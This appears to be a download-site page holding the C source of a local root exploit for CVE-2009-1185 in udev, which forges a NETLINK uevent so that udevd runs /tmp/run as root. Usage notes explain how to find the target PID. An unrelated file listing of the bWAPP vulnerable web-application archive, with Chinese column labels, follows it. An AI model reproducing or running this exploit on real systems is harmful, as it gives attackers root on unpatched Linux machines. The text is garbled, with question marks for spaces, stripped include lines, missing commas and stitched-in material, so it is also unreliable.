/*
?*?cve-2009-1185.c
?*
?*?udev??*?Jon?Oberheide?
?*?http://jon.oberheide.org
?*
?*?Information:
?*
?*???http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
?*
?*???udev?before?1.4.1?does?not?verify?whether?a?NETlink?message?originates?
?*???from?kernel?space?which?allows?local?users?to?gain?privileges?by?sending?
?*???a?NETlink?message?from?user?space.
?*
?*?Notes:
?*???
?*???An?alternate?version?of?kcope‘s?exploit.??This?exploit?leverages?the?
?*???95-udev-late.rules?functionality?that?is?meant?to?run?arbitrary?commands?
?*???when?a?device?is?removed.??A?bit?cleaner?and?reliable?as?long?as?your?
?*???distro?ships?that?rule?file.
?*
?*???Tested?on?Gentoo?Intrepid?and?Jaunty.
?*
?*?Usage:
?*
?*???Pass?the?PID?of?the?udevd?netlink?socket?（listed?in?/proc/net/netlink?
?*???usually?is?the?udevd?PID?minus?1）?as?argv[1].
?*
?*???The?exploit?will?execute?/tmp/run?as?root?so?throw?whatever?payload?you?
?*???want?in?there.
?*/

#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?nk.h>

#ifndef?NETlink_Kobject_UEVENT
#define?NETlink_Kobject_UEVENT?15
#endif

int
main（int?argc?char?**argv）
{
	int?sock;
	char?*mp?*err;
	char?message[4096];
	struct?stat?st;
	struct?msghdr?msg;
	struct?iovec?iovector;
	struct?sockaddr_nl?address;

	if?（argc?		err?=?“Pass?the?udevd?netlink?PID?as?an?argument“;
		printf（“[-]?Error:?%s\n“?err）;
		exit（1）;
	}

	if?（（stat（“/etc/udev/rules.d/95-udev-late.rules“?&st）?==?-1）?&&
	????（stat（“/lib/udev/rules.d/95-udev-late.rules“?&st）?==?-1））?{
		err?=?“Required?95-udev-late.rules?not?found“;
		printf（“[-]?Error:?%s\n“?err）;
		exit（1）;
	}

	if?（stat（“/tmp/run“?&st）?==?-1）?{
		err?=?“/tmp/run?does?not?exist?please?create?it“;
		printf（“[-]?Error:?%s\n“?err）;
		exit（1）;
	}
	system（“chmod?+x?/tmp/run“）;

	memset（&address?0?sizeof（address））;
	address.nl_family?=?AF_NETlink;
	address.nl_pid?=?atoi（argv[1]）;
	address.nl_groups?=?0;

	msg.msg_name?=?（void*）&address;
	msg.msg_namelen?=?sizeof（address）;
	msg.msg_iov?=?&iovector;
	msg.msg_iovlen?=?1;

	sock?=?socket（AF_NETlink?SOCK_DGRAM?NETlink_Kobject_UEVENT）;
	bind（sock?（struct?sockaddr?*）?&address?sizeof（address））;

	mp?=?message;
	mp?+=?sprintf（mp?“remove@/d“）?+?1;
	mp?+=?sprintf（mp?“SUBSYSTEM=block“）?+?1;
	mp?+=?sprintf（mp?“DEVPATH=/dev/foo“）?+?1;
	mp?+=?sprintf（mp?“TIMEOUT=10“）?+?1;
	mp?+=?sprintf（mp?“ACTION=remove“）?+1;
	mp?+=?sprintf（mp?“REMOVE_CMD=/tmp/run“）?+1;

	iovector.iov_base?=?（void*）message;
	iovector.iov_len?=?（int）（mp-message）;

	sendmsg（sock?&msg?0）;

	close（sock）;

	return?0;
}

//?milw0rm.com?[2009-04-30]

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件?????????112??2014-03-08?15:05??bWAPP\666
?????文件????????4471??2014-09-27?17:58??bWAPP\admin\index.php
?????文件?????????645??2014-05-01?21:51??bWAPP\admin\phpinfo.php
?????文件????????2226??2014-09-29?11:00??bWAPP\admin\settings.php
?????文件????????2093??2014-05-11?00:27??bWAPP\aim.php
?????文件???????55719??2014-05-11?02:41??bWAPP\apps\movie_search
?????文件????????6623??2014-09-27?01:57??bWAPP\ba_captcha_bypass.php
?????文件???????10033??2014-09-27?01:57??bWAPP\ba_forgotten.php
?????文件????????1208??2014-05-01?21:51??bWAPP\ba_insecure_login.php
?????文件????????7551??2014-09-27?01:57??bWAPP\ba_insecure_login_1.php
?????文件????????9338??2014-09-27?01:57??bWAPP\ba_insecure_login_2.php
?????文件????????7471??2014-09-27?01:57??bWAPP\ba_insecure_login_3.php
?????文件????????4848??2014-09-27?01:57??bWAPP\ba_logout.php
?????文件????????1737??2014-05-18?20:56??bWAPP\ba_logout_1.php
?????文件????????1200??2014-05-01?21:51??bWAPP\ba_pwd_attacks.php
?????文件????????7524??2014-09-27?01:57??bWAPP\ba_pwd_attacks_1.php
?????文件????????7914??2014-09-27?01:57??bWAPP\ba_pwd_attacks_2.php
?????文件????????8212??2014-09-27?01:57??bWAPP\ba_pwd_attacks_3.php
?????文件????????8039??2014-09-27?01:57??bWAPP\ba_pwd_attacks_4.php
?????文件????????5894??2014-09-27?01:57??bWAPP\ba_weak_pwd.php
?????文件?????????732??2014-03-29?20:04??bWAPP\backdoor.php
?????文件????????5907??2014-09-27?01:57??bWAPP\bof_1.php
?????文件????????4804??2014-09-27?01:57??bWAPP\bof_2.php
?????文件????????7858??2014-11-02?22:57??bWAPP\bugs.txt
?????文件????????1821??2014-05-01?21:51??bWAPP\captcha.php
?????文件????????1101??2014-05-01?21:51??bWAPP\captcha_box.php
?????文件????????5941??2014-09-27?01:57??bWAPP\clickjacking.php
?????文件????????5584??2014-09-27?01:57??bWAPP\commandi.php
?????文件????????6133??2014-09-27?01:57??bWAPP\commandi_blind.php
?????文件?????????780??2014-05-01?21:51??bWAPP\config.inc
?????文件?????????963??2014-05-01?21:51??bWAPP\config.inc.php
............此處省略251個文件信息